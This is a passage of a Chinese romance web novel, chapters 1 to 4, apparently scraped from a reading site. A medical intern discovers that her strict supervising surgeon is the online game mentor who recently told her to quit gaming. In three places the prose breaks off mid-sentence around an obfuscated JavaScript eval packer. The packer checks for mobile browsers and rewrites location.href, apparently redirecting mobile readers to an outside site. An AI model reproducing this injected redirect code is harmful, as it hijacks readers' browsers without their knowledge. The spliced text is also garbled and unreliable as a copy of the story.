《赫赫有宁》
1. 第 1 章
方寓宁从电脑上删除玩了四年的游戏,顺便注销掉专门用来玩游戏的Q.Q号。
“诶?宁宁你面基回来了?”室友贺弥刚从外面回来,问道。
“嗯。”方寓宁关上电脑,口中缓缓吐气,一副魂游天外的样子。
贺弥语气小心:“怎么了?不尽人意?”
整个寝室都知道,方寓宁是个技术很菜的游戏少女,由于坑人次数过多,在第n次被人骂之后,终于有个大佬看不过眼,收了她做徒弟。
大佬水平极高,在他的带领下,方寓宁迅速起飞,不仅不被骂了,偶尔还能狗仗人势,跟着被人恭维一番。
在舍友看来,大佬哪儿都好,就是人设过于夸张。
根据大佬透露,他毕业于全国医科院校排名前列的江城医科大学,十六岁上大学,专业是临床医学八年制,二十四岁便博士毕业,就职于全国排名前十的某医院,今年二十八岁,已经是这家医院的主治医生。
笑话,当这是在写小说呢!
她们可都是江城医科大学的学生,从来没听说过有这号人!
——当然,不排除有她们社交面过窄的原因。
总之,在室友的怂恿下,方寓宁小心试探过几次,后来发现,这位大佬不仅对各种医学知识信手拈来,甚至对她们学校也极为了解,连职工楼里哪栋哪户在偷偷做私房菜生意都知道。
至此,方寓宁她们才彻底认同了这个身份。
说来也奇怪,虽然同为江医人,还是师兄妹的关系,可大佬从没提过面基的事。
刚好方寓宁也是个社恐i人,于是二人就开开心心做了四年网友,虽然名为师徒,但相处却极为轻松愉快,反倒更像是朋友。
事情的转变发生在昨天。
昨天晚上,方寓宁突然收到师父消息,说今天上午十点在学校附近的咖啡馆面基。
这句话没头没尾,方寓宁觉得莫名其妙,室友们却纷纷撺掇她去。
她们很想瞻仰一下十六岁就上大学的大佬是何等容颜。
想着反正是自己熟悉的地方,应该出不了什么问题,方寓宁今早便打扮了一番,欣然赴约。
然后回来就开始卸载游戏。
贺弥看着她的举动,摇摇头:“是形象过于幻灭吗?”
“不是,”方寓宁看着她的眼,很认真道,“不管从哪种审美来看,他都是个大帅哥。”
“还很高,至少一米八五。”
“身材貌似也很好。”
贺弥:“那你为什么……”
“他骂了我一顿。”
贺弥:“?”
方寓宁越想越觉得委屈:“他说我无聊,二十多岁的人了还不把精力放在正经事上,还让我删好友,说以后都不要联系了。”
贺弥:“……”
所以这位帅哥大佬在收徒四年之后突然面基,是因为看不惯徒弟沉迷游戏,才把人约出来进行劝学?
他有毛病吧!
贺弥突然问道:“宁宁,你今年多大来着?”
方寓宁有气无力道:“马上二十三。”
二人同时陷入一阵沉默,这么说来,明年方寓宁本科毕业的时候,正好二十四岁。
而大佬二十四岁的时候,都已经博士毕业了。
好……好像人家劝学也说得过去哈?
方寓宁将电脑装进电脑包:“算了!不联系就不联系,我还得准备考研呢,真以为我光打游戏不学习的吗?!”
“就是!”贺弥给方寓宁打气,“等考上研,你再把他约出来,咱们把录取通知书丢他脸上,打他的脸!”
方寓宁握着她的手,眼含感动:“嗯!!!”
.
虽说方寓宁要准备考研,但身为医学生,肯定做不到和其他专业的学生一样脱产复习。
很快,方寓宁就迎来了她为期一年的实习生活。
她运气好,被分配到江城医科大学附属第一医院,离她们学校很近,而且有地下通道直达,走路只需十分钟,不用和分配到其他附属医院的同学一样,还得自己出去租房子。
轮转表三天前就发了出来,方寓宁轮转的第一个科室是二病区,肝胆外科。
因为以前来上过示教课,方寓宁对医院布局还算熟悉,很快便找到了地方。
她去值班室换好新的白大褂,按照总带教的指示,来到护士站等候。
这个点,病区早已忙碌起来,呼叫铃声时不时响起,护士们来来往往、步履匆忙。
同时,也有一些病人提着引流袋,再走廊上擦着脚步缓慢移动,在路过护士站时,他们不约而同地都将好奇的目光,投向站在墙边的年轻女医生。
被人打量的滋味实在不好受,方寓宁摸出手机,开始背单词。
不管任何时候,假装很忙总是缓解尴尬的最好方法。
背了大概二十几个单词,从病区门口走进来一个发量感人的老医生,稀疏的头顶仿佛能反射出天花板的灯光。
在路过方寓宁时,老医生一双严厉的眼睛上下看了看她。
方寓宁也瞟了他一眼,断定他资历不低,但她不知道是脑袋卡了壳还是怎么的,居然就那样任他看,连一句“老师好”都没说。
就在老医生拐进护士站时,方寓宁听到一个女声叫道:“主任早啊。”
方寓宁:“……”
草!
她瞪大眼睛,看了看黑掉的手机屏幕。
从主任的角度,绝对看不出她在背单词,再联想到他刚刚严肃的脸色,方寓宁心中默默流泪。
她该不会实习第一天就以上班玩手机的理由被主任记住了吧?
那种事情不要啊!
方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640718|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寓宁还没来得及伤心,门口就进来几个医生。
其中一个医生走到她和另一个实习生面前:“你们就是新来的实习同学对吧?”
方寓宁点头,那个医生继续说:“哦,我是这个病区的教秘。”
方寓宁再次点头,教秘,即教学秘书,是负责教学管理、考试评估等一系列工作的人员,通常由本病区的医生兼任。
教秘说道:“咱们病区一共分了四个组,你们自己选去哪个组吧。”
方寓宁选了第二组,另一个实习生则选了第三组。
教秘将方寓宁送到一个中年医生面前:“李老师,这是你们这两周的实习同学。”
方寓宁仔细看了眼李老师的胸牌,原来是叫李启东,职称是副主任医师。
李启东朝她招招手:“哦,过来吧,等会儿我们一起去查房。”
方寓宁走过去,发现他们组加上她也就四个人,怎么看都觉得人手不太够用的样子。
她问道:“李老师,我们组没其他人了吗?”
李启东手里端着杯咖啡,他喝了一口道:“还有一个人,是咱们组的主治,他有点事,要等会儿才来。”
方寓宁表示了解:“噢——”
“趁这会儿有空,我来给你介绍一下吧。”李启东将咖啡放到桌上,拍了拍两个医生的肩膀。
“这两位呢都是我们组的住培医生,这个胖胖的是你孟科师兄,他就是咱们普外科的;这个瘦高瘦高的是你陈靖文师兄,他是胸外科那边的。”
孟科师兄简单说了句“嗨”,陈靖文师兄正在擦眼镜,待擦完后戴上,他眼神落到方寓宁脸上,停滞片刻:“你好。”
方寓宁带着尊敬道:“两位师兄好。”
她又问李启东:“那我们组的主治老师呢?”
“嚯,”说到这个李启东就来劲了,“我们组的主治可是位传奇人物。”
“他当年十六岁就上了大学,二十四岁就博士毕业,规培三年后马不停蹄当了一年住院总,这才二十八呢,就已经是主治医师了。”
方寓宁:等等,这个人设怎么有些许熟悉?
“李老师,我来了。”
一道冰凉微哑的嗓音钻进方寓宁的耳朵,在这夏日清晨,仿若一杯薄荷青柠水,沁得方寓宁瞬间头脑清醒。
李启东笑道:“哎呀,说曹操曹操就到,方同学你看,这就是我们组的主治,你沈赫行沈师兄。”
方寓宁转头,循着声音方向看去,只见来人身材挺拔气质凌然,即便是普通的白大褂,穿在他身上也格外有型,给人一种干练利落的印象。
方寓宁忍不住将目光移到他的脸上,长而不狭的丹凤眼,深不见底的漆黑瞳孔,冷冽的表情。
哪哪儿都透着三分眼熟。
简直,和前些日子跟她面基劝学的师父长得一模一样
2. 第 2 章
沈赫行自然也看到了方寓宁,也认出了她,但他仅仅只是视线落在她身上几秒:“这是新来的实习同学?”
“对,小沈啊,那方同学就交给你带了啊。”
虽然学校规定给实习生分配的带教老师至少是副高职称,但想也知道,这种级别的医生,是没有时间来教学生的。
李启东也是如此,于是他十分自然地把方寓宁这个包袱丢给了沈赫行。
方寓宁突然压力倍增,想想沈赫行那可怕的履历,再想想他面基时严肃的神色,她直觉未来两周的实习生活不会轻松。
李启东拍了下手:“好,人到齐了,咱们查房!”
沈赫行就近推过来一辆查房车,点开HIS系统,输入工号和密码,然后右手掐着查房车背面的支撑杆,带着它进了病房。
他的手很大,且经脉起伏。方寓宁跟在队伍最后面,看着沈赫行如行云流水般熟练的动作,总感觉他掐的不是支撑杆,而是人的命运的后脖颈。
病房里,李启东挨个看病人,听床位医生报引流量等一系列数据,又说什么“改半流”、“拔球”之类的话。
沈赫行回头看了方寓宁一眼,给她让了个位置出来,同时用眼神示意道:“去前面听。”
他分明只是淡淡一瞥,却仿佛化作实质,不带缓冲地落到人的身上。
方寓宁先是心中一慌,然后才小声说了句“谢谢”,走到前面,凑到病人床边听李启东查房,然后悲催地发现……
她听不懂。
不得不说,临床和书本就是有壁,她昨天晚上连夜把外科书里肝胆的部分看完了,结果居然一丁点都没用上。
晕晕乎乎查完了房,沈赫行处理完病房的事情,招呼方寓宁道:“走,去手术室。”
江医大附一院的手术室有两处,一处就在外科大楼旁边的三号楼,另外一处是同在外科大楼的日间手术室。
肝胆外科的手术室一般在三号楼。
沈赫行刷了卡,带方寓宁上了职工电梯。
电梯内只有他们两人,随着机器运行的声音,红色的楼层标识不断变化。
方寓宁站在沈赫行右后侧,觑着他的背影,心里忐忑不安。
对于她这种要考研的人来说,“逃实习”几乎是上岸的必经之路,毕竟实习学的东西以后规培都会教,还不如省下时间拿去复习。
在来医院之前,方寓宁也看过许多考研前辈的上岸经验贴,什么“他不问我不说,他一问我惊讶”、“很热心地把一切事情都搞砸”、“上手术就装低血糖”等等之类逃实习方法层出不穷。
但她本身是个循规蹈矩的人,这些花招就算在别人面前她都使不明白,更何况现在她的带教是沈赫行,她连起这方面的心思都不敢。
方寓宁垂头丧气、蔫头耷脑,全然不知沈赫行已经通过电梯的镜面,将她的表情变化尽收眼底。
“叮”的一声,电梯门开启。
沈赫行带方寓宁拿了手术衣和口罩帽子,叮嘱道:“等会儿换好衣服去56号手术室。”
方寓宁答道:“好的师兄。”
她进了女更衣室,找到一个空柜子,将自己的衣服脱下挂好,换上手术衣,对着镜子,将头发全部整理到帽子里面。
这是方寓宁第一次来手术室,不太找得到路,等她到56号手术室,病人已经麻醉完毕。
她四处张望一番,并没有发现沈赫行的身影,只看到了不久前同在一起查房的孟科师兄和陈靖文师兄。
她无所适从地看着眼前忙碌的老师们,突然,巡回护士塞了两瓶药到她手里:“来,检查一下。”
方寓宁:“!!!”
什么情况!
她瞪大了眼睛看向巡回护士,巡回护士也看着她:“检查核对呀!”
陈靖文正在给病人消毒,见状远远地提醒道:“那是我们的小姑娘。”
“哦,”巡回护士这才把药收回来,“我还以为是我们的小朋友呢。”
方寓宁在家总是被强调已经长大了,要学会面对社会,对自己负责,到这儿却一直被叫“小姑娘”、“小朋友”。
一时间,她心情有点复杂。
李启东这才抬头看了一眼:“实习同学来了啊,带着口罩帽子差点没认出来。”
器械护士笑道:“你老师,给你们分配的小帮手都能忘记,回头人家生气了,不帮你们做事了。”
李启东穿上手术衣,戴好手套,解开前面的绳子,递给器械护士,自己转了一个圈,又接过绳子回来系好。
他故作老成道:“嗨呀,年纪大了,记性都变不好了。”
手术室里一片欢声笑语,巡回护士的了空,盯着方寓宁看了一会儿:“哎呀小姑娘皮肤真好,今年多少岁呀?”
方寓宁回答:“二十三了。”
巡回护士惊讶:“那你是00后?”
方寓宁点头:“刚好00年。”
巡回护士捂住心脏:“天哪!00后都开始来实习了,年轻真好!”
他们现在做的这一台手术是腹腔镜下胆囊切除,由于发过很多次炎,这个病人腹腔粘连得很厉害,分离出胆囊需要很多时间。
方寓宁戴上3D眼镜,李启东每切一刀,都仿佛有无数的微粒扑面而来。
新鲜感在那儿,即使看得不明所以,方寓宁也聚精会神,连动都没动一下。
手术间隙台上各位不知什么时候开始聊起了八卦:“……就是他,一天到晚给人发些莫名其妙的东西,什么‘宝贝你是我的’,还让人叫他爸爸……”
孟科在那儿叽叽呱呱、挤眉弄眼道:“陈靖文,我记得他好像对你挺热情的,他有给你发过这些消息吗?”
陈靖文语气平淡道:“被我骂回去了。”
看他明显不想多说,孟科转而跟李启东开起玩笑来:“我们李老师也深受其骚扰啊,被一个大男人动手动脚,焦虑得一宿一宿睡不着,幸亏他上个月轮转去其他科室了。”
“对呀,嗨,间接导致我科研搞不下去,职称也一直升不上去……诶咱们别说了,等会儿吓到实习同学。”李启东终止了这个话题。
竖起耳朵仔细听八卦的方寓宁:“……”
别呀!我胆子很大的你们继续说呀!
器械护士看上去跟他们搭档过很多次,语气热络,她问孟科:“怎么这台光你们两个?沈赫行去哪儿了?”
孟科回答:“今天有张院长的手术,他跟着去了。”
方寓宁眨了眨眼睛,为什么院长的手术要沈赫行跟着去?
器械护士看方寓宁一脸迷茫,主动替她科普道:“你见过沈赫行是吧?就是人长得特高那个。我跟你讲,你沈师兄特别厉害。”
“他是咱们学校八年制毕业的,张院长最得意的学生,博士第一年就中了国自然,高分文章那是一篇接着一篇地发。你说同样是人,怎么人家脑子就那么好用呢?”
李启东也道:“何止啊,我们好多人私下替他算过,照他这个进度,三十岁就能评上副高了。诶,来块纱布。”
器械护士一边给李启东他们递纱布,一边感叹:“我的天哪,三十岁的副高!”
方寓宁垂下眼眸,果然,能在附一院这么快就晋升为主治,沈赫行的优秀远超她的想象。
他们学校的八年制是本博连读,六年本科两年博士,听上去是很优秀,节约了硕士的三年,年纪轻轻就拥有了高学历。
但同样的,他们也处于一个非常尴尬的地位。
因为时间短,又要去临床轮转,八年制的学生往往没有足够的时间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640719|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和精力来做科研,也就发不出高分文章,而文章又是进好医院的必备条件。
所以,同样是博士,在就业方面,高考填报时需要更高分数的八年制,很多时候并不如“5+3+3”本硕博一路读上来的学生受欢迎。
沈赫行能够做到临床科研兼顾,弥补三年的差距,已经非常了不起。
江城医科大学是全国数一数二的医学院,其附属医院也在国内排名前列,尤其是附一院,排名甚至已经跻身前十,要在这里留院工作已经要求不低,可以说留下来的全是精英。
而在这精英云集的地方,评职称的竞争更为激烈,很多人年近四十都不一定能评得上副高。
照李启东的说法,沈赫行的进度,已经可以用恐怖一词来形容。
“对了,之前不是有网红公司想跟他合作,把他往‘国民帅气外科医生’的方向打造吗?结果怎么样?”器械护士问道。
当今社会,医生和网红公司合作也不是什么新鲜事,附一院里就有好几个,最厉害的在网络平台上有好几百万的粉丝。
李启东:“什么结果?人家小沈从头到尾就没考虑过,人家还年轻,正是沉下心来学习的时候。”
器械护士:“就是要趁年轻啊,长那么帅一张脸,到时候全国闻名,明星医生啊!”
李启东笑了两声:“得了吧,以后人家不靠那什么网红公司也能全国闻名,还明星医生,来咱们这儿看病的明星也不少了吧?他们在你眼里的形象还没幻灭?”
附一院设有国际医疗部,环境条件比普通病房好不少,但就一个字,贵。
不过能既有私立医院的环境和服务,又有公立医院的专家技术,花这个钱来治疗显然很值。
因此,不少明星和有钱人都在那儿住过院。
巡回护士跟方寓宁说:“你李老师之前被一个小明星折腾过,心里有怨气。其实越有名的明星为了保持形象,反而素质要好一点,那种要火不火的才是事情最多的。”
李启东冷哼一声:“可不是,就做个息肉手术,还点名要副主任陪护,我去他以为他是谁啊?后来咱们给他安排了个实习生,结果没过两天实习同学说他太难伺候,翘班不干了,后来这人出院还投诉我们!”
手术进入到关键阶段,大家没再闲聊,抓紧时间争取早点吃饭。
快到中午的时候,手术终于结束,李启东脱下手术衣,把缝皮之类的工作交给了陈靖文和孟科。
趁这个功夫,方寓宁问了日常的工作安排。
李启东说:“我们是早上七点半查房,查完你的师兄们要处理一下病房的事,手术的话看手术安排。明天让你师兄教你一下,下午查房的时间不定,我会发到群里,你加群没有?”
“还没有。”方寓宁摇头。
李启东拿出手机加了方寓宁微信:“行,我把你拉进去了,记得把备注改成名字加电话号码,。”
方寓宁点点头:“好的。”
今天他们组要做一天的手术,午饭自然只能在麻醉科吃,方寓宁打完饭,端着餐盘坐到一个角落。
没吃多久,方寓宁就发觉面前多了一个人,她抬起头来,正见沈赫行坐下。
她往四周看了看,好家伙,才这么会儿就没座位了,麻醉科食堂怎么这么小?
方寓宁弱弱道:“师兄好。”
“嗯。”
沈赫行取下口罩,他皮肤很白,口罩的材质比较粗糙,经过一上午的摩擦,他高挺的鼻梁上出现一道浅浅的红痕。
方寓宁见状,放下筷子,摸出手机点了点,从群里找到沈赫行的微信号,紧张地点了添加。
她举起手机给沈赫行看:“师兄,我加你微信了。”
沈赫行撩起眼皮,只抬头瞥了一眼:“我之后再通过。”
3. 第 3 章
他好冷漠。
这是方寓宁的第一反应。
很快她又安慰自己,没关系,说不定只是沈赫行不喜欢吃饭的时候看手机而已。
然而事实总是如此打脸,直到方寓宁发现沈赫行在群里回了消息,却依旧没通过她的好友申请时,她才不得不承认,沈赫行是真的冷漠。
她不禁觉得很生气,好歹他们也认识了四年吧?就算她现在再怎么废柴,再怎么令人怒其不争,至少他们曾经的欢乐时光做不得假不是吗?
况且,她沦落到今天这个地步,也不是她想要的啊。
她曾经也可以拥有很风光的未来的。
一股气堵在胸口,令方寓宁一直郁结到晚上下班。
回到宿舍以后,另外三个室友已经在寝室中心摆上了两张小桌子,桌上放着外卖和零食,几人叽叽喳喳地在那儿讨论第一天实习的见闻。
方寓宁随意从书架上抽出一本书,扔到地上当坐垫坐下,贺弥问:“宁宁,你今天实习怎么样。”
“别提了,”方寓宁揉揉太阳穴的位置,“你们知道我带教是谁吗?”
“是谁?”贺弥先问,紧接着,她意识到什么,“难不成是你游戏里的师父?”
方寓宁狠很点了点头,其余三人皆惊叹道:“你们这什么缘分?直接从线上干到线下了!”
室友甘纯溪道:“等等,我一直以为他师父是吹牛逼的,他真的十六岁上大学且二十八就已经是主治了?”
“不止,”方寓宁生无可恋地朝她看去,“人家从科研到临床都无可挑剔,老师还是院士,据说再等两年副高都能升了。”
室友谷小萱道:“我的天呐,宁宁你这是认识了个什么神仙!你这运气绝了啊!”
听着她羡慕的语调,方寓宁暗自唉声叹气,可是她现在似乎很讨他的嫌弃,而且,她还束手无策到连一点挽回印象的方法都没有。
甘纯溪看到方寓宁手机亮了,提醒道:“宁宁有人给你发微信。”
“哦?哦。”方寓宁用拇指按了下,发现是今天刚加的工作群的消息。
陈靖文:@李启东,李老师,36床病人下午做了肠镜,现在体温38.5度,有咳嗽和呼吸苦难的症状。
“什么情况?”贺弥问道。
方寓宁把消息拿给他们看:“我也不太清楚,你们知道这是怎么回事吗?”
几个临床经验为零的菜鸡齐齐摇头,谷小萱道:“哎呀别管啦,反正不管你的事,来宁宁吃点零食,上一天班补充点能量。”
只能说人绝对不能立flag,事后想起来方寓宁简直想缝上谷小萱的乌鸦嘴。
就在第二天,她就和36床的病人扯上了关系。
.
“你们到底怎么回事?这类病人你们也接触不少了吧?这都能搞成吸入性肺炎?”
李启东连忙道歉:“我的错,我的错。”
张院长看上去很生气:“当然是你的错,难道还能是我的错?这都多久没出过这种事了你说说?”
办公室里一时气氛低到冰点,每个人连呼吸都不敢大声,生怕下一刻矛头指向了自己。
幸亏张院长日理万机,没时间在这儿跟他们耗:“好好处理!做个PPT,明天汇报!”
等张院长走远,所有人不约而同地长出一口气,方寓宁也是如此。
然而还没等她放松多久,老主任就走到他们组这边,指着她说道:“PPT交给你做,明天你上去汇报。”
方寓宁瞪大眼睛:“???”
她果然被主任记住了!
方寓宁向李启东投去求助的目光:“李老师……”
李启东爱莫能助地拍拍她的肩膀:“小方啊,今天上午你就先回去吧,下午也不用来了,有什么问题都可以问你师兄哈。”
言下之意就是这个汇报非她去不可了。
孟科在电脑面前鼓捣了几下:“师妹我把病历还有检查报告都给你打一份,等会儿我再把我以前做过的PPT发给你,你照着那个格式来就行。”
方寓宁只能道:“谢谢师兄。”
“什么情况?”低沉的声音在方寓宁身后响起,方寓宁忍不住绷紧了身体。
是……沈赫行。
孟科叹气:“你老师刚刚在这里大发雷霆,你去哪儿了?说不定你老师看他宝贝学生在这儿脸色还能好看些。”
沈赫行翻了翻昨天晚上群里发的36床情况跟进:“去了趟消内那边。我在也没用,你也知道,老师在跟病人相关的事上从来不留情。”
“唉,”孟科无奈望天,“也不知道为什么,主任指定实习同学明天去汇报,她才来还什么都不知道呢。对了,实习同学呢?”
沈赫行瞥了眼门口,紧接着又收回目光,修长的手指在桌面上点了点。
实习同学方寓宁此时正在飞奔回学校的路上,趁着沈赫行和孟科说话的功夫,她悄悄挪到打印机旁边,拿了病历就开溜。
真是屋漏偏逢连夜雨,坏事儿一环扣一环,怎么最近什么倒霉事都让她遇上了?
方寓宁抬起头,恨不得指着老天爷鼻子骂。
祖宗啊!求求你善待一下我这个小可怜吧!
.
“我去宁宁,你居然这么早就回来了?你师兄没让你在病房帮忙做事情?”室友们一推门就看到方寓宁对着电脑苦大仇深,皆是吃了一惊。
“我倒宁愿我现在还被留在病房。”
方寓宁把自己的遭遇告诉她们,宿舍里沉默一阵,不约而同地选择让她加油。
屋外蝉鸣不停,扰得人心烦,即便开着空调,那股独属于夏日的燥热也不能平复。
方寓宁深深吸了吸气,狠狠拍了几下桌子。
“吸入性肺炎到底是个什么鬼东西?我们有学过吗?学校这个土豆做的服务器,网又给我崩掉了,想搜个文献都搜不出来!”
现在已经是下午四点,而方寓宁的PPT还停留患者的病史和体格检查还有检查报告这些上,吸入性肺炎相关的专业知识那是丁点儿没有。
贺弥一屁股占了方寓宁半张凳子:“去找你师兄啊!他们肯定对这方面有了解。”
方寓宁死亡凝视:“你以为我没找吗?”
孟科今天值班,几乎没有时间看手机,至于陈靖文……
一开始方寓宁问他问题他还能有一搭没一搭地回两句,后来干脆不回了。
贺弥问:“是不是在手术室呀?”
方寓宁:“我们组今天没排手术,他半个小时之前才在朋友圈分享了一篇文章。”
贺弥看了下聊天记录,忍不住皱起了眉:“这也太冷淡了……”
方寓宁倒没放在心上:“他是胸外那边的,重心不在普外这边的事上,而且我也不是个多重要的人,他不愿意理会我我也能理解。”
“你理解,你理解个屁啊!没见过你这种共情慢待自己的人!”
方寓宁理所当然道:“可是我也没有让人家重视的本钱啊!”
贺弥掐了掐方寓宁的脸:“对漂亮学妹都这样,那个师兄一定是眼瞎了!”
说真的,方寓宁确实长得很好看,巴掌大的小脸,一双眼睛水杏似的灵动,肤色白皙,最重要的是性格还很可爱。
方寓宁嘻嘻一笑:“虽然我确实是姿色过人,但脸这东西也不是时时刻刻都管用的。”
贺弥翻了个白眼:“说你胖你还喘上了!快写吧!晚饭我给你买回来。”
方寓宁应道:“谢了啊。”
寝室再次恢复安静,方寓宁拿起手机,她没有跟贺弥说清楚,其实,她还有个师兄没找。
方寓宁点开今天早上沈赫行才通过的微信,在汇报拉跨被院长主任骂和顶着压力跟沈赫行沟通之间,她最终选择了后者。
方寓宁:沈师兄您好,很抱歉打扰您,我想请问一下,在汇报吸入性肺炎这个病症上,我需要注意哪些要点呢?
她打字速度很快,差点就打成了“师父”这两个字,幸好她及时反应过来,改成了“师兄”。
漫长的半个小时过去,沈赫行终于回了消息。
沈赫行:吸入性肺炎是指食物、胃内容物或口咽分泌物等进入下呼吸道导致的肺部炎症,你可以从它的定义和分类、高危因素、临床表现还有预防、治疗这些来做介绍。
沈赫行:你之前对这个有了解吗?可以先找几篇文献来看看。
方寓宁:好的师兄,不过最近学校的网又崩了……
几分钟过去,沈赫行那边毫无动静,就当方寓宁以为他被自己蠢到,不想理自己时,对方忽然唰唰唰发来几篇文献。
沈赫行:不够再跟我说。
方寓宁:够了够了!谢谢师兄!
沈赫行:不用谢。
方寓宁习惯让自己作为结束聊天的人,她纠结半天,发了一个乖巧的笑脸过去。
幸好,沈赫行没有再跟她客气,不然她还得再拉扯一番。
有了沈赫行给的文献,方寓宁算是对这个病了解了个大概。
PPT做好后已经是十一点,她花了两小时背了个七七八八,倒头睡了几个小时,第二天一早给自己泡了杯黑咖,视死如归地向医院出发。
.
“……在这类病症上,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640720|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再好的治疗方法都比不过事先充分地预防。首先我们要保证术前的禁食禁饮,成人的禁食时间要在八小时以上;此外,胃肠减压也是十分重要的预防手段……”
一场汇报有惊无险地过去,方寓宁在心里给自己点了个赞,她还以为自己会紧张得忘词,没想到居然连PPT都没看几眼。
不愧是期末突击复习锻炼出来的好记忆。
今天张院长也来了,他坐在示教室的最中间,说道:“方医生说得不错,预防才是防止发生吸入性肺炎最有效的手段,平时大家在这些事情上不注意,等到真的发生了医疗事故才能记住教训。”
“是,你是有经验了,可最终受到伤害的还是我们的病人,要是严重了,你搭上的就是一条性命,用病人的生命换你的诊疗经验,你能接受吗?你能吗?”
大家双唇紧闭,头埋得低低的,张院长道:“大家脑子里要随时绷紧一根弦,要对我们的病人上心,同时也不要停下学习的步伐,不要觉得我在普外,我就只钻研普外的事情,这样吧,我随便问一个问题,肺的双重血供是哪双重?”
张院长一眼扫过去,众人纷纷避开了他的视线,最终,张院长看向了方寓宁,同时,其余人也一脸紧张地看着她。
方寓宁:“……是肺循环和支气管循环,肺循环负责气体交换,支气管循环负责营养肺和支气管。”
张院长点点头,同时其他人也向她投去了赞赏的目光。
倒也不是他们不知道,只是张院长还在生气,他们回答了倒显得他们很能似的,方寓宁是主讲人,又是实习生,她回答最合适不过。
不过这个小姑娘显然基础知识掌握得不错,不像很多实习同学一问三不知。
不等方寓宁松一口气,张院长又问:“我们这个病人做肠镜之前其实不止禁食了八小时,他的禁食时间大概有十个小时,为什么在这种情况下他还是发生了吸入性肺炎?”
方寓宁这下是真不知道了,沈赫行就坐在张院长旁边,他抬眼看到台上女孩紧张的神色,欣长舒展的身体偏了偏,转头在张院长耳边说了些什么。
张院长恍然大悟:“原来是小朋友啊!”
方寓宁的PPT首页写的主讲人是她的名字,并没有标明实习生的身份,因此张院长把她当成了规培医生。
知道了她是实习生,张院长也就没有为难她,简单说了两句之后就散会了。
回到办公室,方寓宁看到沈赫行在办出院,她磨蹭了一会儿,还是走过去说道:“谢谢师兄。”
“小事,不用谢,”沈赫行利落地把东西整理好,顿了顿,还是开口道,“今天表现得不错。”
方寓宁一愣,原来你还会夸奖人啊。
沈赫行仿佛从表情中读懂了她的意思,他把叠得整整齐齐的出院手续放到订书机之间,手掌轻轻一压。
随着“咔嗒”一声,订书钉咬合完毕,沈赫行也抬起眼眸,漆黑瞳孔深不见底,给人一种寂静的疏离感。
“你们规定一个星期写几份病历?”
方寓宁被问了个措手不及:“啊……这个……一个星期一份。”
沈赫行淡淡“嗯”了一声:“写完了交给我,我给你批改。”
方寓宁懵懵道:“好的师兄。”
“小沈,走,开刀了。”李启东站在门口喊道,“小方也去,等会儿你教她洗手。”
“好,马上来。”沈赫行应道。
手术室里,沈赫行坐在电脑前,打开病历系统给方寓宁看病人的CT。
方寓宁站在他身后,微微弯下腰。
“看,这里是病人的胆囊,这些都是石头。”沈赫行的声音不疾不徐,不自觉惹人信赖。
方寓宁点点头:“嗯。”
“你们应该学过……”沈赫行正要问她学没学过影像,猝不及防看到一片晃眼的肌肤。
沈赫行“蹭”地一下站起来,方寓宁不知所以:“师兄?”
沈赫行仿佛没听见似的,走到护士面前说了两句话,护士一下子笑出来,眼神中不乏揶揄。
方寓宁的心重重沉了下去,莫非她又哪里得罪他了?不应该啊,她什么都没做。
“妹妹你过来。”护士坐在圆凳上,朝方寓宁招了招手。
方寓宁走过去,还以为自己做错了什么事,结果护士摸出个夹子,把她身上那件过大的洗手衣的领口给收住夹了起来。
这下她的胸口终于不是敞了一大片,而是只露出了半截锁骨,看上去正好合适。
方寓宁这才明白沈赫行给护士说了什么,再想到他刚刚的举动,方寓宁的脸骤然红到了脖子。
4. 第 4 章
直到麻醉医生开始给病人麻醉,沈赫行才又进来。
他神色有些许不自然:“你学过洗手的对吧?”
方寓宁脸上还发热:“学过。”
沈赫行:“我来看你洗一遍。”
洗手方寓宁倒是会,学校老师有教过,但是学校里用的是最传统的肥皂,泡得滑溜溜的,直接用刷子蘸了刷就好了。
手术室的设备和学校里的完全不同,方寓宁甚至不知道从哪儿取洗手液。
方寓宁只好硬着头皮问:“师兄,洗手液在哪儿啊?”
沈赫行来到她身后,用膝盖顶了下柜门似的地方:“这里,左边是出水,右边是洗手液,那边是酒精,洗完擦干之后再消消毒。”
方寓宁木然道:“知道了师兄。”
她心中有个小人在尖叫:啊啊啊啊啊啊啊离得太近了啊啊啊啊!!!
手术室常年恒温,本来就有些凉,刚刚沈赫行站她身后,方寓宁甚至能感受到对方身上灼人的热度。
而且沈赫行的声音又低又磁,仿佛冰块撒进玻璃杯,站在她身后说话时,声波就像一只小爪子,挠得她耳朵直发痒。
顶着压力,方寓宁十分缓慢地洗完一遍手。
沈赫行表情没什么变化:“可以,你再看我洗一遍。”
